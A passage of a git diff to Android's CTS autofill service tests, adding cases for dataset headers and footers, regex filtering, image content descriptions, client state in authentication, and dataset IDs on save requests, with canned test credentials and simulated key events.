+ new AutofillId[] { fieldId }, new String[] { remoteId }, new int[] { score });
+ }
+
+ // TODO(b/67867469): document
+ public static void assertFillEventForFieldsClassification(@NonNull FillEventHistory.Event event,
+ @NonNull AutofillId[] fieldIds, @NonNull String[] remoteIds, @NonNull int[] scores) {
+ assertFillEvent(event, TYPE_CONTEXT_COMMITTED, null, null, null, fieldIds, remoteIds,
+ scores);
+ }
+
+ // TODO(b/67867469): document
+ public static void assertFillEventForContextCommitted(@NonNull FillEventHistory.Event event) {
+ assertFillEvent(event, TYPE_CONTEXT_COMMITTED, null, null, null, null, null, null);
}
private Helper() {
diff --git a/tests/autofillservice/src/android/autofillservice/cts/IdMode.java b/tests/autofillservice/src/android/autofillservice/cts/IdMode.java
index 01878ab..66e857b 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/IdMode.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/IdMode.java
@@ -21,5 +21,6 @@
*/
enum IdMode {
RESOURCE_ID,
- HTML_NAME
+ HTML_NAME,
+ HTML_NAME_OR_RESOURCE_ID
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/ImageTransformationTest.java b/tests/autofillservice/src/android/autofillservice/cts/ImageTransformationTest.java
index e96df05..935be23 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/ImageTransformationTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/ImageTransformationTest.java
@@ -39,30 +39,35 @@
public class ImageTransformationTest {
@Test
+ @SuppressWarnings("deprecation")
public void testAllNullBuilder() {
assertThrows(NullPointerException.class,
() -> new ImageTransformation.Builder(null, null, 0));
}
@Test
+ @SuppressWarnings("deprecation")
public void testNullAutofillIdBuilder() {
assertThrows(NullPointerException.class,
() -> new ImageTransformation.Builder(null, Pattern.compile(""), 1));
}
@Test
+ @SuppressWarnings("deprecation")
public void testNullRegexBuilder() {
assertThrows(NullPointerException.class,
() -> new ImageTransformation.Builder(new AutofillId(1), null, 1));
}
@Test
+ @SuppressWarnings("deprecation")
public void testNullSubstBuilder() {
assertThrows(IllegalArgumentException.class,
() -> new ImageTransformation.Builder(new AutofillId(1), Pattern.compile(""), 0));
}
@Test
+ @SuppressWarnings("deprecation")
public void fieldCannotBeFound() throws Exception {
AutofillId unknownId = new AutofillId(42);
@@ -82,6 +87,7 @@
}
@Test
+ @SuppressWarnings("deprecation")
public void theOneOptionsMatches() throws Exception {
AutofillId id = new AutofillId(1);
ImageTransformation trans = new ImageTransformation
@@ -99,6 +105,25 @@
}
@Test
+ public void theOneOptionsMatchesWithContentDescription() throws Exception {
+ AutofillId id = new AutofillId(1);
+ ImageTransformation trans = new ImageTransformation
+ .Builder(id, Pattern.compile(".*"), 42, "Are you content?")
+ .build();
+
+ ValueFinder finder = mock(ValueFinder.class);
+ RemoteViews template = mock(RemoteViews.class);
+
+ when(finder.findByAutofillId(id)).thenReturn("val");
+
+ trans.apply(finder, template, 0);
+
+ verify(template).setImageViewResource(0, 42);
+ verify(template).setContentDescription(0, "Are you content?");
+ }
+
+ @Test
+ @SuppressWarnings("deprecation")
public void noOptionsMatches() throws Exception {
AutofillId id = new AutofillId(1);
ImageTransformation trans = new ImageTransformation
@@ -116,6 +141,7 @@
}
@Test
+ @SuppressWarnings("deprecation")
public void multipleOptionsOneMatches() throws Exception {
AutofillId id = new AutofillId(1);
ImageTransformation trans = new ImageTransformation
@@ -134,6 +160,26 @@
}
@Test
+ public void multipleOptionsOneMatchesWithContentDescription() throws Exception {
+ AutofillId id = new AutofillId(1);
+ ImageTransformation trans = new ImageTransformation
+ .Builder(id, Pattern.compile(".*1"), 1, "Are you content?")
+ .addOption(Pattern.compile(".*2"), 2, "I am content")
+ .build();
+
+ ValueFinder finder = mock(ValueFinder.class);
+ RemoteViews template = mock(RemoteViews.class);
+
+ when(finder.findByAutofillId(id)).thenReturn("val-2");
+
+ trans.apply(finder, template, 0);
+
+ verify(template).setImageViewResource(0, 2);
+ verify(template).setContentDescription(0, "I am content");
+ }
+
+ @Test
+ @SuppressWarnings("deprecation")
public void twoOptionsMatch() throws Exception {
AutofillId id = new AutofillId(1);
ImageTransformation trans = new ImageTransformation
@@ -151,4 +197,24 @@
// If two options match, the first one is picked
verify(template, only()).setImageViewResource(0, 1);
}
+
+ @Test
+ public void twoOptionsMatchWithContentDescription() throws Exception {
+ AutofillId id = new AutofillId(1);
+ ImageTransformation trans = new ImageTransformation
+ .Builder(id, Pattern.compile(".*a.*"), 1, "Are you content?")
+ .addOption(Pattern.compile(".*b.*"), 2, "No, I'm not")
+ .build();
+
+ ValueFinder finder = mock(ValueFinder.class);
+ RemoteViews template = mock(RemoteViews.class);
+
+ when(finder.findByAutofillId(id)).thenReturn("ab");
+
+ trans.apply(finder, template, 0);
+
+ // If two options match, the first one is picked
+ verify(template).setImageViewResource(0, 1);
+ verify(template).setContentDescription(0, "Are you content?");
+ }
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/InstrumentedAutoFillService.java b/tests/autofillservice/src/android/autofillservice/cts/InstrumentedAutoFillService.java
index 2c234cd..331bac2 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/InstrumentedAutoFillService.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/InstrumentedAutoFillService.java
@@ -30,6 +30,7 @@
import android.app.assist.AssistStructure;
import android.autofillservice.cts.CannedFillResponse.CannedDataset;
import android.content.ComponentName;
+import android.content.IntentSender;
import android.os.Bundle;
import android.os.CancellationSignal;
import android.service.autofill.AutofillService;
@@ -78,7 +79,7 @@
sInstance.set(this);
}
- public static AutofillService peekInstance() {
+ public static InstrumentedAutoFillService peekInstance() {
return sInstance.get();
}
@@ -104,7 +105,7 @@
return;
}
}
- sReplier.onFillRequest(request.getFillContexts(), request.getClientState(),
+ sReplier.onFillRequest(this, request.getFillContexts(), request.getClientState(),
cancellationSignal, callback, request.getFlags());
}
@@ -118,14 +119,16 @@
return;
}
}
- sReplier.onSaveRequest(request.getFillContexts(), request.getClientState(), callback);
+ sReplier.onSaveRequest(request.getFillContexts(), request.getClientState(), callback,
+ request.getDatasetIds());
}
private boolean fromSamePackage(List<FillContext> contexts) {
final ComponentName component = contexts.get(contexts.size() - 1).getStructure()
.getActivityComponent();
final String actualPackage = component.getPackageName();
- if (!actualPackage.equals(getPackageName())) {
+ if (!actualPackage.equals(getPackageName())
+ && !actualPackage.equals(sReplier.mAcceptedPackageName)) {
Log.w(TAG, "Got request from package " + actualPackage);
return false;
}
@@ -216,12 +219,14 @@
* that can be asserted at the end of a test case.
*/
static final class SaveRequest {
- final List<FillContext> contexts;
- final AssistStructure structure;
- final Bundle data;
- final SaveCallback callback;
+ public final List<FillContext> contexts;
+ public final AssistStructure structure;
+ public final Bundle data;
+ public final SaveCallback callback;
+ public final List<String> datasetIds;
- private SaveRequest(List<FillContext> contexts, Bundle data, SaveCallback callback) {
+ private SaveRequest(List<FillContext> contexts, Bundle data, SaveCallback callback,
+ List<String> datasetIds) {
if (contexts != null && contexts.size() > 0) {
structure = contexts.get(contexts.size() - 1).getStructure();
} else {
@@ -230,6 +235,7 @@
this.contexts = contexts;
this.data = data;
this.callback = callback;
+ this.datasetIds = datasetIds;
}
}
@@ -245,7 +251,9 @@
private final BlockingQueue<FillRequest> mFillRequests = new LinkedBlockingQueue<>();
private final BlockingQueue<SaveRequest> mSaveRequests = new LinkedBlockingQueue<>();
- private List<Exception> mExceptions;
+ private List<Throwable> mExceptions;
+ private IntentSender mOnSaveIntentSender;
+ private String mAcceptedPackageName;
private Replier() {
}
@@ -256,14 +264,18 @@
this.mIdMode = mode;
}
+ public void acceptRequestsFromPackage(String packageName) {
+ mAcceptedPackageName = packageName;
+ }
+
/**
* Gets the exceptions thrown asynchronously, if any.
*/
- @Nullable List<Exception> getExceptions() {
+ @Nullable List<Throwable> getExceptions() {
return mExceptions;
}
- private void addException(@Nullable Exception e) {
+ private void addException(@Nullable Throwable e) {
if (e == null) return;
if (mExceptions == null) {
@@ -294,6 +306,14 @@
}
/**
+ * Sets the {@link IntentSender} that is passed to
+ * {@link SaveCallback#onSuccess(IntentSender)}.
+ */
+ void setOnSave(IntentSender intentSender) {
+ mOnSaveIntentSender = intentSender;
+ }
+
+ /**
* Gets the next fill request, in the order received.
*
* <p>Typically called at the end of a test case, to assert the initial request.
@@ -356,9 +376,12 @@
mFillRequests.clear();
mSaveRequests.clear();
mExceptions = null;
+ mOnSaveIntentSender = null;
+ mAcceptedPackageName = null;
}
- private void onFillRequest(List<FillContext> contexts, Bundle data,
+ private void onFillRequest(InstrumentedAutoFillService service,
+ List<FillContext> contexts, Bundle data,
CancellationSignal cancellationSignal, FillCallback callback, int flags) {
try {
CannedFillResponse response = null;
@@ -398,13 +421,17 @@
switch (mIdMode) {
case RESOURCE_ID:
- fillResponse = response.asFillResponse(
+ fillResponse = response.asFillResponse(service,
(id) -> Helper.findNodeByResourceId(contexts, id));
break;
case HTML_NAME:
- fillResponse = response.asFillResponse(
+ fillResponse = response.asFillResponse(service,
(name) -> Helper.findNodeByHtmlName(contexts, name));
break;
+ case HTML_NAME_OR_RESOURCE_ID:
+ fillResponse = response.asFillResponse(
+ (id) -> Helper.findNodeByHtmlNameOrResourceId(contexts, id));
+ break;
default:
throw new IllegalStateException("Unknown id mode: " + mIdMode);
}
@@ -419,10 +446,15 @@
}
}
- private void onSaveRequest(List<FillContext> contexts, Bundle data, SaveCallback callback) {
- Log.d(TAG, "onSaveRequest()");
- mSaveRequests.offer(new SaveRequest(contexts, data, callback));
- callback.onSuccess();
+ private void onSaveRequest(List<FillContext> contexts, Bundle data, SaveCallback callback,
+ List<String> datasetIds) {
+ Log.d(TAG, "onSaveRequest(): sender=" + mOnSaveIntentSender);
+ mSaveRequests.offer(new SaveRequest(contexts, data, callback, datasetIds));
+ if (mOnSaveIntentSender != null) {
+ callback.onSuccess(mOnSaveIntentSender);
+ } else {
+ callback.onSuccess();
+ }
}
}
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
index 898ca84..04abecf 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
@@ -20,10 +20,10 @@
import static android.app.Activity.RESULT_OK;
import static android.autofillservice.cts.CannedFillResponse.DO_NOT_REPLY_RESPONSE;
import static android.autofillservice.cts.CannedFillResponse.NO_RESPONSE;
-import static android.autofillservice.cts.CheckoutActivity.ID_CC_NUMBER;
import static android.autofillservice.cts.Helper.ID_PASSWORD;
import static android.autofillservice.cts.Helper.ID_PASSWORD_LABEL;
import static android.autofillservice.cts.Helper.ID_USERNAME;
+import static android.autofillservice.cts.Helper.UNUSED_AUTOFILL_VALUE;
import static android.autofillservice.cts.Helper.assertNoDanglingSessions;
import static android.autofillservice.cts.Helper.assertNumberOfChildren;
import static android.autofillservice.cts.Helper.assertTextAndValue;
@@ -39,10 +39,6 @@
import static android.autofillservice.cts.LoginActivity.BACKDOOR_USERNAME;
import static android.autofillservice.cts.LoginActivity.ID_USERNAME_CONTAINER;
import static android.autofillservice.cts.LoginActivity.getWelcomeMessage;
-import static android.service.autofill.FillEventHistory.Event.TYPE_AUTHENTICATION_SELECTED;
-import static android.service.autofill.FillEventHistory.Event.TYPE_DATASET_AUTHENTICATION_SELECTED;
-import static android.service.autofill.FillEventHistory.Event.TYPE_DATASET_SELECTED;
-import static android.service.autofill.FillEventHistory.Event.TYPE_SAVE_SHOWN;
import static android.service.autofill.FillRequest.FLAG_MANUAL_REQUEST;
import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_ADDRESS;
import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_CREDIT_CARD;
@@ -70,7 +66,6 @@
import android.content.IntentSender;
import android.graphics.Color;
import android.os.Bundle;
-import android.service.autofill.FillEventHistory;
import android.service.autofill.SaveInfo;
import android.support.test.uiautomator.UiObject2;
import android.util.Log;
@@ -92,6 +87,7 @@
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
import java.util.concurrent.atomic.AtomicInteger;
+import java.util.regex.Pattern;
/**
* This is the test case covering most scenarios - other test cases will cover characteristics
@@ -206,15 +202,53 @@
@Test
public void testAutoFillOneDataset() throws Exception {
+ autofillOneDatasetTest(BorderType.NONE);
+ }
+
+ @Test
+ public void testAutoFillOneDataset_withHeader() throws Exception {
+ autofillOneDatasetTest(BorderType.HEADER_ONLY);
+ }
+
+ @Test
+ public void testAutoFillOneDataset_withFooter() throws Exception {
+ autofillOneDatasetTest(BorderType.FOOTER_ONLY);
+ }
+
+ @Test
+ public void testAutoFillOneDataset_withHeaderAndFooter() throws Exception {
+ autofillOneDatasetTest(BorderType.BOTH);
+ }
+
+ private enum BorderType {
+ NONE,
+ HEADER_ONLY,
+ FOOTER_ONLY,
+ BOTH
+ }
+
+ private void autofillOneDatasetTest(BorderType borderType) throws Exception {
// Set service.
enableService();
// Set expectations.
- sReplier.addResponse(new CannedDataset.Builder()
- .setField(ID_USERNAME, "dude")
- .setField(ID_PASSWORD, "sweet")
- .setPresentation(createPresentation("The Dude"))
- .build());
+ String expectedHeader = null, expectedFooter = null;
+
+ final CannedFillResponse.Builder builder = new CannedFillResponse.Builder()
+ .addDataset(new CannedDataset.Builder()
+ .setField(ID_USERNAME, "dude")
+ .setField(ID_PASSWORD, "sweet")
+ .setPresentation(createPresentation("The Dude"))
+ .build());
+ if (borderType == BorderType.BOTH || borderType == BorderType.HEADER_ONLY) {
+ expectedHeader = "Head";
+ builder.setHeader(createPresentation(expectedHeader));
+ }
+ if (borderType == BorderType.BOTH || borderType == BorderType.FOOTER_ONLY) {
+ expectedFooter = "Tails";
+ builder.setFooter(createPresentation(expectedFooter));
+ }
+ sReplier.addResponse(builder.build());
mActivity.expectAutoFill("dude", "sweet");
// Dynamically set password to make sure it's sanitized.
@@ -224,7 +258,10 @@
mActivity.onUsername(View::requestFocus);
// Auto-fill it.
- sUiBot.selectDataset("The Dude");
+ final UiObject2 picker = sUiBot.assertDatasetsWithBorders(expectedHeader, expectedFooter,
+ "The Dude");
+
+ sUiBot.selectDataset(picker, "The Dude");
// Check the results.
mActivity.assertAutoFilled();
@@ -338,6 +375,43 @@
}
@Test
+ public void testAutoFillDatasetWithoutFieldIsIgnored() throws Exception {
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .addDataset(new CannedDataset.Builder()
+ .setField(ID_USERNAME, "dude")
+ .setField(ID_PASSWORD, "sweet")
+ .setPresentation(createPresentation("The Dude"))
+ .build())
+ .addDataset(new CannedDataset.Builder()
+ .setField(ID_USERNAME, "DUDE")
+ .setField(ID_PASSWORD, "SWEET")
+ .build())
+ .build());
+ mActivity.expectAutoFill("dude", "sweet");
+
+ // Trigger auto-fill.
+ mActivity.onUsername(View::requestFocus);
+ sReplier.getNextFillRequest();
+
+ // Make sure all datasets are available...
+ sUiBot.assertDatasets("The Dude");
+
+ // ... on all fields.
+ mActivity.onPassword(View::requestFocus);
+ sUiBot.assertDatasets("The Dude");
+
+ // Auto-fill it.
+ sUiBot.selectDataset("The Dude");
+
+ // Check the results.
+ mActivity.assertAutoFilled();
+ }
+
+ @Test
public void testAutoFillWhenViewHasChildAccessibilityNodes() throws Exception {
mActivity.onUsername((v) -> v.setAccessibilityDelegate(new AccessibilityDelegate() {
@Override
@@ -517,6 +591,7 @@
sReplier.addResponse(new CannedFillResponse.Builder()
.addDataset(new CannedDataset.Builder()
+ .setId("I'm the alpha and the omega")
.setField(ID_USERNAME, "dude")
.setField(ID_PASSWORD, "sweet")
.setPresentation(createPresentation("The Dude"))
@@ -558,6 +633,8 @@
final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+ assertThat(saveRequest.datasetIds).containsExactly("I'm the alpha and the omega");
+
// Assert value of expected fields - should not be sanitized.
final ViewNode username = findNodeByResourceId(saveRequest.structure, ID_USERNAME);
assertTextAndValue(username, "dude");
@@ -1116,6 +1193,61 @@
}
@Test
+ public void filterTextUsingRegex() throws Exception {
+ // Dataset presentations.
+ final String aa = "Two A's";
+ final String ab = "A and B";
+ final String b = "Only B";
+
+ enableService();
+
+ // Set expectations.
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .addDataset(new CannedDataset.Builder()
+ .setField(ID_USERNAME, "whatever", Pattern.compile("a|aa"))
+ .setPresentation(createPresentation(aa))
+ .build())
+ .addDataset(new CannedDataset.Builder()
+ .setField(ID_USERNAME, "whatsoever", createPresentation(ab),
+ Pattern.compile("a|ab"))
+ .build())
+ .addDataset(new CannedDataset.Builder()
+ .setField(ID_USERNAME, (String) null, Pattern.compile("b"))
+ .setPresentation(createPresentation(b))
+ .build())
+ .build());
+
+ // Trigger auto-fill.
+ mActivity.onUsername(View::requestFocus);
+ sReplier.getNextFillRequest();
+
+ // With no filter text all datasets should be shown
+ sUiBot.assertDatasets(aa, ab, b);
+
+ // Only two datasets start with 'a'
+ runShellCommand("input keyevent KEYCODE_A");
+ sUiBot.assertDatasets(aa, ab);
+
+ // Only one dataset start with 'aa'
+ runShellCommand("input keyevent KEYCODE_A");
+ sUiBot.assertDatasets(aa);
+
+ // Only two datasets start with 'a'
+ runShellCommand("input keyevent KEYCODE_DEL");
+ sUiBot.assertDatasets(aa, ab);
+
+ // With no filter text all datasets should be shown
+ runShellCommand("input keyevent KEYCODE_DEL");
+ sUiBot.assertDatasets(aa, ab, b);
+
+ // No dataset start with 'aaa'
+ runShellCommand("input keyevent KEYCODE_A");
+ runShellCommand("input keyevent KEYCODE_A");
+ runShellCommand("input keyevent KEYCODE_A");
+ sUiBot.assertNoDatasets();
+ }
+
+ @Test
public void testSaveOnly() throws Exception {
saveOnlyTest(false);
}
@@ -1161,6 +1293,7 @@
final SaveRequest saveRequest = sReplier.getNextSaveRequest();
sReplier.assertNumberUnhandledSaveRequests(0);
+ assertThat(saveRequest.datasetIds).isNull();
// Assert value of expected fields - should not be sanitized.
try {
@@ -1577,6 +1710,42 @@
}
@Test
+ public void testDontTriggerSaveOnFinishWhenRequestedByFlag() throws Exception {
+ enableService();
+
+ // Set expectations.
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
+ .setSaveInfoFlags(SaveInfo.FLAG_DONT_SAVE_ON_FINISH)
+ .build());
+
+ // Trigger auto-fill.
+ mActivity.onUsername(View::requestFocus);
+
+ // Sanity check.
+ sUiBot.assertNoDatasets();
+
+ // Wait for onFill() before proceeding, otherwise the fields might be changed before
+ // the session started
+ sReplier.getNextFillRequest();
+
+ // Set credentials...
+ mActivity.onUsername((v) -> v.setText("malkovich"));
+ mActivity.onPassword((v) -> v.setText("malkovich"));
+
+ // ...and login
+ final String expectedMessage = getWelcomeMessage("malkovich");
+ final String actualMessage = mActivity.tapLogin();
+ assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+
+ // Make sure it didn't trigger save.
+ sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+ // Sanity check: session should have been canceled
+ assertNoDanglingSessions();
+ }
+
+ @Test
public void testAutoFillOneDatasetAndSaveWhenFlagSecure() throws Exception {
mActivity.setFlags(FLAG_SECURE);
testAutoFillOneDatasetAndSave();
@@ -1848,6 +2017,109 @@
}
@Test
+ public void testFillResponseAuthClientStateSetOnIntentOnly() throws Exception {
+ fillResponseAuthWithClientState(ClientStateLocation.INTENT_ONLY);
+ }
+
+ @Test
+ public void testFillResponseAuthClientStateSetOnFillResponseOnly() throws Exception {
+ fillResponseAuthWithClientState(ClientStateLocation.FILL_RESPONSE_ONLY);
+ }
+
+ @Test
+ public void testFillResponseAuthClientStateSetOnIntentAndFillResponse() throws Exception {
+ fillResponseAuthWithClientState(ClientStateLocation.BOTH);
+ }
+
+ enum ClientStateLocation {
+ INTENT_ONLY,
+ FILL_RESPONSE_ONLY,
+ BOTH
+ }
+
+ private void fillResponseAuthWithClientState(ClientStateLocation where) throws Exception {
+ // Set service.
+ enableService();
+
+ // Prepare the authenticated response
+ final CannedFillResponse.Builder authenticatedResponseBuilder =
+ new CannedFillResponse.Builder()
+ .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
+ .addDataset(new CannedDataset.Builder()
+ .setField(ID_USERNAME, "dude")
+ .setField(ID_PASSWORD, "sweet")
+ .setPresentation(createPresentation("Dataset"))
+ .build());
+
+ if (where == ClientStateLocation.FILL_RESPONSE_ONLY || where == ClientStateLocation.BOTH) {
+ authenticatedResponseBuilder.setExtras(newClientState("CSI", "FromAuthResponse"));
+ }
+
+ final IntentSender authentication = where == ClientStateLocation.FILL_RESPONSE_ONLY
+ ? AuthenticationActivity.createSender(mContext, 1,
+ authenticatedResponseBuilder.build())
+ : AuthenticationActivity.createSender(mContext, 1,
+ authenticatedResponseBuilder.build(), newClientState("CSI", "FromIntent"));
+
+ // Configure the service behavior
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setAuthentication(authentication, ID_USERNAME)
+ .setIgnoreFields(ID_PASSWORD)
+ .setPresentation(createPresentation("Tap to auth response"))
+ .setExtras(newClientState("CSI", "FromResponse"))
+ .build());
+
+ // Set expectation for the activity
+ mActivity.expectAutoFill("dude", "sweet");
+
+ // Trigger autofill.
+ mActivity.onUsername(View::requestFocus);
+ sReplier.getNextFillRequest();
+
+ // Tap authentication request.
+ sUiBot.selectDataset("Tap to auth response");
+
+ // Tap dataset.
+ sUiBot.selectDataset("Dataset");
+
+ // Check the results.
+ mActivity.assertAutoFilled();
+
+ // Now trigger save.
+ mActivity.onUsername((v) -> v.setText("malkovich"));
+ mActivity.onPassword((v) -> v.setText("malkovich"));
+ final String expectedMessage = getWelcomeMessage("malkovich");
+ final String actualMessage = mActivity.tapLogin();
+ assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+ sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+
+ // Assert client state on authentication activity.
+ assertClientState("auth activity", AuthenticationActivity.getData(), "CSI", "FromResponse");
+
+ // Assert client state on save request.
+ final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+ final String expectedValue = where == ClientStateLocation.FILL_RESPONSE_ONLY
+ ? "FromAuthResponse" : "FromIntent";
+ assertClientState("on save", saveRequest.data, "CSI", expectedValue);
+ }
+
+ // TODO(on master): move to helper / reuse in other places
+ private void assertClientState(String where, Bundle data, String expectedKey,
+ String expectedValue) {
+ assertWithMessage("no client state on %s", where).that(data).isNotNull();
+ final String extraValue = data.getString(expectedKey);
+ assertWithMessage("invalid value for %s on %s", expectedKey, where)
+ .that(extraValue).isEqualTo(expectedValue);
+ }
+
+ // TODO(on master): move to helper / reuse in other places
+ private Bundle newClientState(String key, String value) {
+ final Bundle clientState = new Bundle();
+ clientState.putString(key, value);
+ return clientState;
+ }
+
+ @Test
public void testFillResponseFiltering() throws Exception {
// Set service.
enableService();
@@ -1927,10 +2199,6 @@
}
private void datasetAuthTwoFields(boolean cancelFirstAttempt) throws Exception {
- // TODO: current API requires these fields...
- final RemoteViews bogusPresentation = createPresentation("Whatever man, I'm not used...");
- final String bogusValue = "Y U REQUIRE IT?";
-
// Set service.
enableService();
final MyAutofillCallback callback = mActivity.registerCallback();
@@ -1940,14 +2208,13 @@
new CannedDataset.Builder()
.setField(ID_USERNAME, "dude")
.setField(ID_PASSWORD, "sweet")
- .setPresentation(bogusPresentation)
.build());
// Configure the service behavior
sReplier.addResponse(new CannedFillResponse.Builder()
.addDataset(new CannedDataset.Builder()
- .setField(ID_USERNAME, bogusValue)
- .setField(ID_PASSWORD, bogusValue)
+ .setField(ID_USERNAME, UNUSED_AUTOFILL_VALUE)
+ .setField(ID_PASSWORD, UNUSED_AUTOFILL_VALUE)
.setPresentation(createPresentation("Tap to auth dataset"))
.setAuthentication(authentication)
.build())
@@ -2080,7 +2347,6 @@
new CannedDataset.Builder()
.setField(ID_USERNAME, "dude")
.setField(ID_PASSWORD, "sweet")
- .setPresentation(createPresentation("Dataset"))
.build());
// Configure the service behavior
@@ -2115,10 +2381,6 @@
@Test
public void testDatasetAuthTwoDatasets() throws Exception {
- // TODO: current API requires these fields...
- final RemoteViews bogusPresentation = createPresentation("Whatever man, I'm not used...");
- final String bogusValue = "Y U REQUIRE IT?";
-
// Set service.
enableService();
final MyAutofillCallback callback = mActivity.registerCallback();
@@ -2127,7 +2389,6 @@
final CannedDataset unlockedDataset = new CannedDataset.Builder()
.setField(ID_USERNAME, "dude")
.setField(ID_PASSWORD, "sweet")
- .setPresentation(bogusPresentation)
.build();
final IntentSender authentication1 = AuthenticationActivity.createSender(mContext, 1,
unlockedDataset);
@@ -2137,14 +2398,14 @@
// Configure the service behavior
sReplier.addResponse(new CannedFillResponse.Builder()
.addDataset(new CannedDataset.Builder()
- .setField(ID_USERNAME, bogusValue)
- .setField(ID_PASSWORD, bogusValue)
+ .setField(ID_USERNAME, UNUSED_AUTOFILL_VALUE)
+ .setField(ID_PASSWORD, UNUSED_AUTOFILL_VALUE)
.setPresentation(createPresentation("Tap to auth dataset 1"))
.setAuthentication(authentication1)
.build())
.addDataset(new CannedDataset.Builder()
- .setField(ID_USERNAME, bogusValue)
- .setField(ID_PASSWORD, bogusValue)
+ .setField(ID_USERNAME, UNUSED_AUTOFILL_VALUE)
+ .setField(ID_PASSWORD, UNUSED_AUTOFILL_VALUE)
.setPresentation(createPresentation("Tap to auth dataset 2"))
.setAuthentication(authentication2)
.build())
@@ -2192,7 +2453,6 @@
new CannedDataset.Builder()
.setField(ID_USERNAME, "dude")
.setField(ID_PASSWORD, "sweet")
- .setPresentation(createPresentation("Dataset"))
.build());
// Configure the service behavior
@@ -2238,11 +2498,7 @@
}
@Test
- public void testDatasetAuthFiltering() throws Exception {
- // TODO: current API requires these fields...
- final RemoteViews bogusPresentation = createPresentation("Whatever man, I'm not used...");
- final String bogusValue = "Y U REQUIRE IT?";
-
+ public void testDatasetAuthNoFiltering() throws Exception {
// Set service.
enableService();
final MyAutofillCallback callback = mActivity.registerCallback();
@@ -2251,7 +2507,6 @@
final CannedDataset unlockedDataset = new CannedDataset.Builder()
.setField(ID_USERNAME, "dude")
.setField(ID_PASSWORD, "sweet")
- .setPresentation(bogusPresentation)
.build();
final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
unlockedDataset);
@@ -2259,8 +2514,8 @@
// Configure the service behavior
sReplier.addResponse(new CannedFillResponse.Builder()
.addDataset(new CannedDataset.Builder()
- .setField(ID_USERNAME, bogusValue)
- .setField(ID_PASSWORD, bogusValue)
+ .setField(ID_USERNAME, UNUSED_AUTOFILL_VALUE)
+ .setField(ID_PASSWORD, UNUSED_AUTOFILL_VALUE)
.setPresentation(createPresentation("Tap to auth dataset"))
.setAuthentication(authentication)
.build())
@@ -2300,6 +2555,161 @@
}
@Test
+ public void testDatasetAuthFilteringUsingAutofillValue() throws Exception {
+ // Set service.
+ enableService();
+ final MyAutofillCallback callback = mActivity.registerCallback();
+
+ // Create the authentication intents
+ final CannedDataset unlockedDataset = new CannedDataset.Builder()
+ .setField(ID_USERNAME, "dude")
+ .setField(ID_PASSWORD, "sweet")
+ .build();
+ final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
+ unlockedDataset);
+
+ // Configure the service behavior
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .addDataset(new CannedDataset.Builder()
+ .setField(ID_USERNAME, "dude")
+ .setField(ID_PASSWORD, "sweet")
+ .setPresentation(createPresentation("DS1"))
+ .setAuthentication(authentication)
+ .build())
+ .addDataset(new CannedDataset.Builder()
+ .setField(ID_USERNAME, "DUDE,THE")
+ .setField(ID_PASSWORD, "SWEET")
+ .setPresentation(createPresentation("DS2"))
+ .setAuthentication(authentication)
+ .build())
+ .addDataset(new CannedDataset.Builder()
+ .setField(ID_USERNAME, "ZzBottom")
+ .setField(ID_PASSWORD, "top")
+ .setPresentation(createPresentation("DS3"))
+ .setAuthentication(authentication)
+ .build())
+ .build());
+
+ // Set expectation for the activity
+ mActivity.expectAutoFill("dude", "sweet");
+
+ // Trigger auto-fill.
+ mActivity.onUsername(View::requestFocus);
+
+ // Wait for onFill() before proceeding.
+ sReplier.getNextFillRequest();
+ final View username = mActivity.getUsername();
+
+ // Make sure it's showing initially...
+ callback.assertUiShownEvent(username);
+ sUiBot.assertDatasets("DS1", "DS2", "DS3");
+
+ // ...then type something to hide them.
+ runShellCommand("input keyevent KEYCODE_A");
+ callback.assertUiHiddenEvent(username);
+ sUiBot.assertNoDatasets();
+
+ // Now delete the char and assert they're shown again...
+ runShellCommand("input keyevent KEYCODE_DEL");
+ callback.assertUiShownEvent(username);
+ sUiBot.assertDatasets("DS1", "DS2", "DS3");
+
+ // ...then filter for 2
+ runShellCommand("input keyevent KEYCODE_D");
+ sUiBot.assertDatasets("DS1", "DS2");
+
+ // ...up to 1
+ runShellCommand("input keyevent KEYCODE_U");
+ sUiBot.assertDatasets("DS1", "DS2");
+ runShellCommand("input keyevent KEYCODE_D");
+ sUiBot.assertDatasets("DS1", "DS2");
+ runShellCommand("input keyevent KEYCODE_E");
+ sUiBot.assertDatasets("DS1", "DS2");
+ runShellCommand("input keyevent KEYCODE_COMMA");
+ sUiBot.assertDatasets("DS2");
+
+ // Now delete the char and assert 2 are shown again...
+ runShellCommand("input keyevent KEYCODE_DEL");
+ final UiObject2 picker = sUiBot.assertDatasets("DS1", "DS2");
+
+ // ...and select it this time
+ sUiBot.selectDataset(picker, "DS1");
+ callback.assertUiHiddenEvent(username);
